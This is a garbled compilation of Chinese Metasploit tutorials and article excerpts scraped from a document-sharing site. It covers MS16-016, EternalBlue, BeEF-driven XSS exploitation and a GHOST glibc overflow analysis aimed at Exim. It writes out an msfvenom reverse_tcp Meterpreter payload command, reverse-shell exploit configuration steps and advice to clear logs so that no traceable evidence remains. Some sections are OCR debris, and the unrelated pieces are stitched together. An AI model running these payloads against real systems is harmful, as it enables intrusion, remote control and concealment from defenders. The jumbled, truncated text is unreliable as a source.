基于Metasploit利用GHOST漏洞最终版
Metasploit简单的渗透测试案例

Metasploit简单的渗透测试案例案例背景:假设我们是一家网络安全公司的安全分析师,我们被雇佣来测试一些公司的网络安全性。
我们已经通过一些信息收集技术获得了公司的IP地址和域名。
现在我们将使用Metasploit来测试他们的网络安全性。
步骤1:信息收集首先,我们使用一些信息收集工具(如nmap)来确定目标公司的网络拓扑和开放端口。
通过分析这些信息,我们可以确定潜在的攻击目标。
步骤2:扫描漏洞接下来,我们使用Metasploit的漏洞扫描工具(如Nexpose)来扫描目标网络上的漏洞。
这些漏洞可能包括操作系统漏洞、应用程序漏洞、配置错误等。
通过扫描漏洞,我们可以确定哪些系统存在安全风险。
步骤3:选择攻击模块根据我们在步骤2中发现的漏洞,我们选择相应的攻击模块。
例如,如果我们发现目标系统上存在一个已知的漏洞,我们可以选择使用Metasploit的相应模块进行攻击。
步骤4:配置攻击模块在选择了攻击模块后,我们需要配置一些参数以适应目标系统。
这些参数可能包括目标IP地址、端口号、漏洞类型等。
我们可以使用Metasploit的命令行界面或图形界面来配置这些参数。
步骤5:执行攻击一旦我们配置好了攻击模块,我们可以使用Metasploit的exploit 命令来执行攻击。
Metasploit将尝试利用目标系统上的漏洞来获取对系统的控制权。
步骤6:获取权限一旦攻击成功,我们需要获取对目标系统的权限。
我们可以使用Metasploit的post-exploitation模块来执行各种任务,如查找敏感信息、提权、创建后门等。
步骤7:清理痕迹在完成渗透测试后,我们应该清理所有的痕迹,以确保我们没有留下任何可追溯的证据。
Metasploit提供了一些模块来执行这些任务,如清除日志、删除后门等。
步骤8:报告编写最后,我们应该撰写一份详细的报告,描述我们在渗透测试过程中发现的漏洞、攻击的成功率以及建议的修复措施。
这个报告将帮助目标公司了解他们的网络安全状况,并采取适当的措施来加强安全性。
基于Metasploit的MS16-016本地溢出漏洞利用实战

基于Metasploit的MS16-016本地溢出漏洞利用实战作者:赵秋来源:《电脑知识与技术》2018年第31期摘要:该文对MS16-016本地溢出漏洞做了简单介绍,文中分析了利用MS16-016本地溢出漏洞,渗透到Windows 7中并获取系统权限的实现方式,最后给出了对应的防范措施。
关键词: Metasploit;MS16-016;本地溢出漏洞中图分类号:TP393; ; ; 文献标识码:A; ; ; 文章编号:1009-3044(2018)31-0216-011 漏洞介绍MS16-016这个漏洞是由于Windows中的WebDAV未正确处理WebDAV客户端发送的信息导致的。
若要利用此漏洞,攻击者首先必须登录系统。
然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
此漏洞存在于在:Windows Vista SP2、Windows Server 2008 x86 & x64、Windows Server 2008 R2 x64、Windows 7 x86 & x64、Windows 8.1 x86 & x64。
系统中提升权限至系统权限,以下系统中导致系统拒绝服务(蓝屏):Windows Server 2012、Windows Server 2012 R2、Windows RT 8.1、Windows 10。
2 MS16-016本地溢出漏洞利用的实现下面介绍在Kali中渗透Windows 7 x86的实现。
Kali的IP地址为10.3.81.106,Windows 7 x86的IP地址为10.3.81.152,使用虚拟机kali 中的Metasploit利用MS16-016本地溢出漏洞对Windows 7的进行渗透,从而获得系统权限。
1)在Kali上生成连接软件msf.exe,LHOST为Kali的IP地址root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=10.3.81.106 LPORT=4444 -f exe > msf.exe2)在命令行下输入“msfconsole”,进入MSF的启动界面root@kali:~# msfconsole3)在Metasploit命令提示符下,使用use命令载入监听模块。
基于Metasploit框架下SEH溢出漏洞的渗透测试研究

基于Metasploit框架下SEH溢出漏洞的渗透测试研究姚栋;魏占祯;高骏涛
【期刊名称】《信息安全与通信保密》
【年(卷),期】2016(0)6
【摘要】Metasploit作为安全领域中最具影响力的开源框架平台,其最突出的贡献是半工业化生产方式的漏洞研究与渗透代码开发.以Easy File Sharing FTP v3.5软件存在的基于PASS命令的SEH溢出漏洞为例,从漏洞挖掘与分析、渗透攻击模块编写、渗透攻击模块测试这三个方面详细阐述了基于Metasploit框架下SEH溢出漏洞的渗透测试通用方法,并编写了针对上述软件安全漏洞的渗透攻击模块.研究重点分析了针对SEH溢出渗透利用的三个关键环节:绕过SEH限制、获取返回地址和编写短跳转指令.通过这一系列的深入研究,很好的推动了自动化渗透测试发展的研究,同时编写Metasploit框架支持的渗透攻击模块也为安全领域内共享的系统化攻击知识库做出了重要补充,具有非常重要的意义.
【总页数】6页(P99-104)
【作者】姚栋;魏占祯;高骏涛
【作者单位】北京电子科技学院,北京100070;北京电子科技学院,北京100070;北京电子科技学院,北京100070
【正文语种】中文
【中图分类】TP309
【相关文献】
1.基于Metasploit框架的web应用渗透测试研究 [J], 郑清安
2.基于Metasploit下的PDF文件格式渗透测试研究 [J], 郑清安
3.基于Metasploit框架自动化渗透测试研究 [J], 严俊龙
4.基于Metasploit的MS16-016本地溢出漏洞利用实战 [J], 赵秋
5.Python实现SEH机制的溢出漏洞渗透测试 [J], 杨泽明;杨捷
因版权原因,仅展示原文概要,查看原文内容请购买。
kali渗透测试日记-通过Metasploit利用ms17-010永恒之蓝漏洞

kali渗透测试⽇记-通过Metasploit利⽤ms17-010永恒之蓝漏洞实战 - 利⽤ms17-010永恒之蓝漏洞扫描⽬标是否存在该漏洞search ms17-010找到其中的辅助扫描模块并载⼊use auxiliary/scanner/smb/smb_ms17_010 show options # 查看使⽤的参数选项可见需要RHOSTS参数(即远程主机的IP),这⾥假设为192.168.1.56set rhosts 192.168.1.56开始扫描run发现⽬标易受攻击,存在相关漏洞。
攻击模块加载与配置查找攻击模块(永恒之蓝)并加载search ms17-010use exploit/windows/smb/ms17_010_eternalblueshow options需要设置⽬标主机IP地址 RHOSTSset RHOSTS 192.168.1.56查看可以利⽤的⽬标主机类型show targets可以看到这个模块只有⼀个 target,所以默认就选择这个⽬标系统。
不需要⼿动设置。
search windows/x64/shell type:payload选择其中的第3个:反弹shell的payload。
加载:set payload windows/x64/shell/reverse_tcp查看payload需要配置的信息show options设置本机的监听地址LHOSTset LHOST 192.168.1.53配置完成,开始运⾏exploit(敲回车)等待反弹shell解决回显乱码问题在Win7的shell中利⽤chcp命令更改编码为65001即Unicode (UTF-8)chcp 65001保存会话在执⾏时,运⾏exploit -j-j 表⽰后台执⾏渗透⽬标完成后会创建⼀个 session 我们可以通过 session 连接⽬标主机。
查看sessions会话sessions通过id进⼊相应的sessionsessions -i [Id]保存到后台background结束会话sessons -k [Id]在获取会话后,如果没有回显,可以敲⼀下回车MSF攻击步骤1、查找 CVE 公布的漏洞2、查找对应的 exploit 模块3、配置模块参数4、添加 payload 后门5、执⾏ exploit 开始攻击。
最新metasploit+beef利用XSS漏洞拿内网主机20151014

目标主机:XP SP3 IE8
1.打开beef-xss目录下config.yaml文件,
进行配置修改如下:
2.打开extensions/metasploit的配置文件
修改配置文件如下:将IP地址修改为本机的IP地址。
检查metasploit- framework的安装目录是否有无,如有误,修改为正确的路径。
以上完成了beef的配置。
3.启动msfconsole
IP填写自己电脑IP,密码是默认的,不用修改。
4.启动beef,查看metasploit exploits是否导入成功。
5.在桌面点击牛头图标,进入beef 的浏览器界面
输入beef/beef登陆成功。
6.受害主机点击XSs网页,这里使用demo页面,注意由于是同局域网的受害主机,将
127.0.0.1修改为beef所在主机(服务端地址),让受害主机访问demo的地址如下:http://192.168.107.200:3000/demos/basic.html
7.Beef界面已发现被勾住的主机:192.168.107.108了,使用ms14-064漏洞
配置主机地址,payload:windows/meterpreter/reverse_tcp,点击“Execute”8.受害主机点击http://192.168.107.200:8080/,将会被重定向。
9.msf会自动显示抓住的sessions,
10.拿到受害主机。
基于Metasploit的攻防实验

基于Metasploit的攻防实验本次实验的目的,是通过Metasploit的攻击过程,对远程缓冲区溢出获取系统权限有一个感性的认识,包括MSF的使用方法,攻击的必要步骤、效果和被攻击系统观察到的现象。
实验环境:建议:攻击机(BT5)、HoneyWall、靶机(Linux_target)最低要求:攻击机,靶机。
在最低要求下,需要把攻击机和靶机都放在一个虚拟机的VLAN中,NAT或Host都可以。
MetasploitMetasploit是的一个集成了多种工具的攻击工具集合,主要用途是进行远程缓冲区溢出实验。
进入Metasploit进入BT5系统,登陆后输入 startx,进入图形界面。
在图形界面,点击terminal图标,进入终端界面在终端界面输入 msfconsole,进入metasploit的控制台,第一次进入会比较慢。
扫描靶机,发现可选择的漏洞在msf的控制台下输入nmap –sS –A –P0 靶机IP地址探测靶机存在的服务及版本,目前我们的靶机存在的服务比较多包括Apache,Tomcat,Samba,distcc,Mysql等等。
这些服务是稍后选择攻击种类的依据。
使用Metasploitmsf进行攻击包括三个步骤,选择对应的服务漏洞、选择攻击负载,选择攻击参数。
选择对应的服务漏洞例我们选择希望选择攻击samba服务的漏洞,首先在控制台输入 search s amba,查找msf目前支持的攻击samba漏洞的代码有哪些,msf会给出一系列针对不同平台不同版本的Samba服务攻击代码,一般越新的代码越有效,越老的代码,由于系统可能已经打了补丁或者升级,会不能攻击成功。
同时注意选择攻击的平台是Linux\Windows\OSX还是多平台(multi)我们在这个选择一个multi,在msf控制台下输入use e xploit/multi/samba/usermap_script此时我们进入了该攻击代码的子菜单,如果要更换攻击代码,输入 back返回上一级控制台菜单。
完整版Metasploit利用溢出漏洞远控Windows靶机操作指南
1网络测试环境构建首先需要先配置好一个渗透测试用的网络环境, 包括如图1所示的运行Kali Linux 系统的计算机,如图2所示的Windows Server 2003系统的计算机和如图 3所示的运行 Windows 7系统的计算机。
显然这三台计算机处于同一个网段中, 可以相互通讯,Kali 系统用作攻击机,下面将在此系统上运行 Metasploit 进行 渗透测试,而 Windows 2003和Windows 7系统都是本次任务中需要进行渗透入 图1 Kali 攻击机侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。
rootMlflj2Ki3)f 厂 mine: 0carrie 『;3F 叽 r-1j 3 kA 丄PM AppLitutlgin 兮 PLic 砂常 l*-lLink enc ap r Lor al L 二口pback Irwt 1 LmtB add r i : :1/12B UP LOOPBACK RUNNING packets : 32 归「厂口 [厂石 TX packets : 32 er rars RXfl-4 IFcanflgLlrik anc4p :EThemQt HWidek ftG L G C .29^30:25: flinot addr-l :0_] 0.10.13? Beast 11©. 10.13.255 貼 Lnatfi addn fgfid r 1513c = 29f f : fofifli:25t 1/^4 JScjppa : I UP BROADCAST HUftNI^G MULHC4ST hlTU:垢舲 Moir R H pKket§: 136S7 errors:® repped :9 ovtrnjri9:9 IM packets :2S£I 92 e r r : rs:& d repp^d : G overnjfisM3 c oil 丄^icns : D t Kqdfi je L 色n :1 HUJ X J ftH b>T«:9U9JS {»Q,5 Kim TK b/tH :117672LfiHwle 苦乩(L0卫Stope: Hast MTU: 655 3S Metric:!i z B dropped ; 3 o^erruriB : 0 i :0 dropped :fl overruns :A :© _ilo fc&i Via^r Sajieh T<rminjl Holp啦rgl ⑭giffirrfFic <.vmnv*] \ i 1.4 “・hicngDft甕嗣叶E『皈盂5.J,37»®13 战•乜所有I¥fl5-W03 Hivrc^nrt Corp.习上邛缶Ci M>cuinciinCt nrrti M^djnmlittriAtor^iipetinl ijM . idtoua 1 P C^ivf IgLJUl llill"Kpi">T4R€*nn«hot i«n -cpeo 11 lc 1HH£ £uff lx B s la>c-iLdi>»j.ni irp R魁百■#£*#•*•,**■!:■目』心」珊fiaihriec■■•・■■・■・■・■罩科鼠齐五丄!5鶯J・Default GatESLy - - * ・」〜亠.匕19B18b IB■耀p:K*[11ifi«'■JlLUilAitl.r(ltCc Fg%w;u・ji:…m ?图 2 Windows 2003 靶机CbHi图3 Win dows 7靶机2扫描靶机在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、如图4所示,在Kali攻击机上执行Msfconsole命令,即可进入Metasploit 环境,如图5所示。
如何使用 Metasploit 发现安全漏洞
4. 扫描器针对漏洞的研究,取决于扫描器的先进程度。事实上,某些现代扫描器 可以在这个步骤配置它们的攻击程度,以免扫描器的攻击性太强,以至于在扫 描过程中导致被扫描系统的崩溃。
什么是 Metasploit?
Metasploit 项目是大量现有工具的总和。这些工具用途广泛,几乎可以完成从逃脱法规 约束到躲避对其最著名软件 Metasploit Framework 的探测的任何任务。Metasploit 的设 计初衷并不是一个黑客工具。这个工具的主要目标是研究安全性。但是,它就像其他 这种类型的工具一样,用途由使用者决定。请小心使用,并记住“权力越大,责任越 大”。
show targets
根据攻击的不同,您可能会看到关于攻击的其他信息,比如支持它的服务。 完美的攻击 将 Metasploit 工作负载,也称为 shell 代码直接插入正在溢出的缓存中。在大多数情况 下,工作负载是非常特定的,选择哪个工作负载取决于您的目标操作系统和架构。 结束语 本文介绍了如何使用 Metasploit 来对系统漏洞进行检测。通过学习和研究,您可以研发 自己的漏洞攻击。漏洞攻击开发出来后,您可以确定您的应用程序和系统是否能够经 受缓存溢出等攻击和结构化查询语言注入等漏洞的威胁。
set RHOST <your test machine's IP address>
然后按下 Enter 键,接下来在下面的行中输入以下代码:
基于Metasploit框架的网络安全渗透应用研究
基于Metasploit框架的网络安全渗透应用研究网络安全渗透是一项重要的技术,旨在评估和提高网络系统的安全性。
Metasploit是一个广泛使用的开源渗透测试框架,它提供了一系列工具和资源,用于发现和利用网络系统中的安全漏洞。
本文将研究以Metasploit框架为基础的网络安全渗透应用,并探讨其在安全性评估和漏洞利用方面的应用。
首先,Metasploit框架提供了一系列用于信息收集和漏洞扫描的工具。
渗透测试人员可以使用这些工具来识别网络系统中的潜在漏洞。
其中,Nmap是一个常用的工具,用于发现主机和服务,并确定其开放的端口。
通过使用Nmap,渗透测试人员可以分析目标系统,并发现可能存在的安全风险。
Metasploit框架还提供了强大的漏洞利用工具集,用于利用已知漏洞入侵目标系统。
这些工具包括Exploit和Payload模块,可用于自动化利用和获取目标系统的访问权限。
渗透测试人员可以使用这些工具来测试网络系统的安全性,并评估其在面对真实攻击时的防护能力。
Metasploit框架还支持使用自定义的Exploit和Payload模块,允许用户根据特定需求和目标系统的特征创建自己的攻击代码。
这使得Metasploit框架成为一个灵活而可扩展的渗透测试工具,适用于各种不同的网络环境和攻击场景。
在渗透测试过程中,隐蔽性和持久性对于攻击的成功至关重要。
Metasploit框架提供了一系列用于绕过防火墙和入侵目标系统的技术。
例如,Meterpreter是一个强大的后门工具,可提供对目标系统的远程访问和控制。
通过使用Meterpreter,攻击者可以执行各种操作,包括查看文件、截图、捕获键盘输入等。
除了对目标系统进行渗透测试外,Metasploit框架还提供了一些用于渗透测试报告生成和追踪的工具。
通过使用这些工具,渗透测试人员可以生成详尽的渗透测试报告,并记录发现的漏洞和成功的攻击。
这些报告和记录对于系统管理员和安全团队来说非常有价值,可帮助他们了解网络系统的安全状况,并采取相应的措施来修补漏洞和提高安全性。
网络攻防技术专业毕业设计基于Metasploit的渗透测试与漏洞修复实践
网络攻防技术专业毕业设计基于Metasploit 的渗透测试与漏洞修复实践一、引言网络攻防技术作为信息安全领域中的重要分支,一直备受关注。
随着网络攻击手段的不断升级和漏洞频发,渗透测试与漏洞修复成为保障网络安全的重要环节。
Metasploit作为知名的渗透测试工具,具有强大的功能和灵活性,被广泛应用于渗透测试、漏洞利用和修复等方面。
本文将围绕基于Metasploit的渗透测试与漏洞修复实践展开讨论。
二、Metasploit简介Metasploit是一款开源的渗透测试工具,由Rapid7公司开发和维护。
它集成了多种渗透测试工具和资源,包括exploit模块、payload模块、auxiliary模块等,能够帮助安全研究人员和渗透测试人员快速发现系统漏洞、进行渗透测试,并提供相应的修复建议。
三、渗透测试实践1. 目标确定在进行渗透测试前,首先需要确定测试目标。
可以是某个特定系统、网络设备或应用程序,也可以是整个网络环境。
明确目标有助于提高测试效率和针对性。
2. 漏洞扫描利用Metasploit中的漏洞扫描模块对目标系统进行扫描,识别系统存在的漏洞和弱点。
通过分析扫描结果,确定哪些漏洞可以被利用进行进一步的攻击。
3. 漏洞利用根据漏洞扫描结果选择合适的exploit模块进行漏洞利用。
Metasploit提供了丰富的exploit模块库,覆盖了各种常见操作系统和应用程序的漏洞利用方式。
通过成功利用漏洞获取目标系统的权限。
4. 权限提升在获取初始权限后,可能需要进行权限提升以获取更高级别的权限。
Metasploit提供了多种提权模块,可以帮助攻击者在目标系统中提升权限,以便执行更多操作。
5. 数据窃取在完成权限提升后,可以利用Metasploit中的payload模块对目标系统进行数据窃取。
这包括文件传输、截取敏感信息等操作,以获取目标系统中有价值的数据。
四、漏洞修复实践1. 漏洞分析在完成渗透测试后,需要对测试中发现的漏洞进行详细分析。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
基于Metasploit利用GHOST 漏洞获得远程Exim邮件服务器SHELL分析阶段1.GHOST漏洞分析及其条件限制2.如何利用受GHOST漏洞影响的Exim服务的原理实际操作阶段1.渗透环境搭建:KaliLinux与Metasploit2.使用Nmap对目标进行端口扫描及服务查点3.快速检查被渗透目标是否存在ghost漏洞4.使用Metasploit加载GHOST漏洞攻击模块进行远程入侵,获得远程主机shell=========分析开始=========GHOST漏洞分析及其条件限制GHOST漏洞是2015年1月27号公布的Linux底层漏洞,国际编号为CVE-2015-0235,存在于GNU C库(glibc)中,受影响的Linux发现版本有:Debian 7 (wheezy),Red Hat Enterprise,Linux 6 & 7,CentOS 6 & 7,Ubuntu 12.04等。
存在漏洞的函数__nss_hostname_digits_dots()由glibc的非重入版本的文件:nss/getXXbyYY.c,以及重入版本:nss/getXXbyYY_r.c提供。
然而,这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的,这个宏定义只在这几个文件有:- inet/gethstbynm.c- inet/gethstbynm2.c- inet/gethstbynm_r.c- inet/gethstbynm2_r.c- nscd/gethstbynm3_r.c以上这些文件实现gethostbyname*()函数族,因此也只有它们会调用__nss_hostname_digits_dots(),并且可能触发它的缓冲区溢出。
该函数的作用是:“如果主机名是IPv4/IPv6地址,就跳过费时的DNS查找”。
glibc-2.17的代码如下:35 int36 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,37 char **buffer, size_t *buffer_size,38 size_t buflen, struct hostent **result,39 enum nss_status *status, int af, int *h_errnop)40 {..57 if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')58 {59 const char *cp;60 char *hostname;61 typedef unsigned char host_addr_t[16];62 host_addr_t *host_addr;63 typedef char *host_addr_list_t[2];64 host_addr_list_t *h_addr_ptrs;65 char **h_alias_ptr;66 size_t size_needed;..85 size_needed = (sizeof (*host_addr)86 + sizeof (*h_addr_ptrs) + strlen (name) + 1);8788 if (buffer_size == NULL)89 {90 if (buflen < size_needed)91 {..95 goto done;96 }97 }98 else if (buffer_size != NULL && *buffer_size < size_needed)99 {100 char *new_buf;101 *buffer_size = size_needed;102 new_buf = (char *) realloc (*buffer, *buffer_size);103104 if (new_buf == NULL)105 {...114 goto done;115 }116 *buffer = new_buf;117 }...121 host_addr = (host_addr_t *) *buffer;122 h_addr_ptrs = (host_addr_list_t *)123 ((char *) host_addr + sizeof (*host_addr));124 h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs)); 125 hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);126127 if (isdigit (name[0]))128 {129 for (cp = name;; ++cp)130 {131 if (*cp == '\0')132 {133 int ok;134135 if (*--cp == '.')136 break;...142 if (af == AF_INET)143 ok = __inet_aton (name, (struct in_addr *) host_addr); 144 else145 {146 assert (af == AF_INET6);147 ok = inet_pton (af, name, host_addr) > 0;148 }149 if (! ok)150 {...154 goto done;155 }156157 resbuf->h_name = strcpy (hostname, name);...194 goto done;195 }196197 if (!isdigit (*cp) && *cp != '.')198 break;199 }200 }...Ln 85-86计算所需的缓冲区大小size_needed来存储三个不同的实体:HOST_ADDR,h_addr_ptrs和name(hostname) 。
Ln 88-117 确保缓冲区足够大:Ln 88-97对应于函数重入的情况,Ln 98-117为非重入的情况。
Ln 121-125处理存储四个不同实体的指针地址,HOST_ADDR,h_addr_ptrs,h_alias_ptr ,和hostname。
计算size_needed时,漏掉了一个sizeof( * h_alias_ptr ) - 也即一个char指针的大小。
因此,strcpy的( )所在的Ln157应该可以让我们写过缓冲区的末尾,至多(取决于函数strlen(name)和对齐) 4个字节(32位),或8个字节(64位)...为了在行157触发溢出,主机名参数必须符合下列要求:- 它的第一个字符必须是数字(Ln 127) 。
- 它的最后一个字符不能是点“.”(Ln 135 ) 。
- 它必须只包含数字和点(Ln 197 ) (我们称之为“数字和点”的要求) 。
- 它必须足够长以溢出缓冲区。
例如,非重入的gethostbyname *()函数最开始就会通过调用malloc (1024)来分配自己的缓冲区(申请“1 KB”) 。
- 它必须成功地解析为IPv4地址。
也即它必须通过INET_ATON()函数的检测!如何利用受GHOST漏洞影响的Exim服务的原理:在本节中,我们将介绍如何对Exim SMTP邮件服务器实现远程执行代码,绕过NX保护和glibc的malloc强化。
首先,我们溢出的gethostbyname的基于堆的缓冲区,以及部分覆盖下一个相邻空闲块的大小字段,使之具有稍微更大的尺寸(我们只覆盖3字节的大小;因为,我们不能在32位溢出超过4个字节,或64位机器上8个字节):|< malloc_chunk|-----|----------------------|---+--------------------|-----... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...-----|----------------------|---+--------------------|-----| X||------------------------->|overflow#!cppstruct malloc_chunk {INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */struct malloc_chunk* fd; /* double links -- used only if free. */struct malloc_chunk* bk;/* Only used for large blocks: pointer to next larger size. */struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */struct malloc_chunk* bk_nextsize;};X标记了内存损坏发生的位置。
其结果是,该glibc的malloc管理的空闲块被人工增大,导致内存与另一块Exim 的current_block重叠。
而current_block是由Exim的的内部内存分配器管理的。
|< malloc_chunk |< storeblock| |-----|----------------------|------------------------|---------------+---|-----... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...-----|----------------------|------------------------|---------------+---|-----| ||<-------------------------------------->|artificially enlarged free chunk#!cpptypedef struct storeblock {struct storeblock *next;size_t length;} storeblock;然后,我们部分地分配已经释放的空闲块,然后使用任意数据覆盖Exim的current_block 的起始部分(“storeblock”结构)。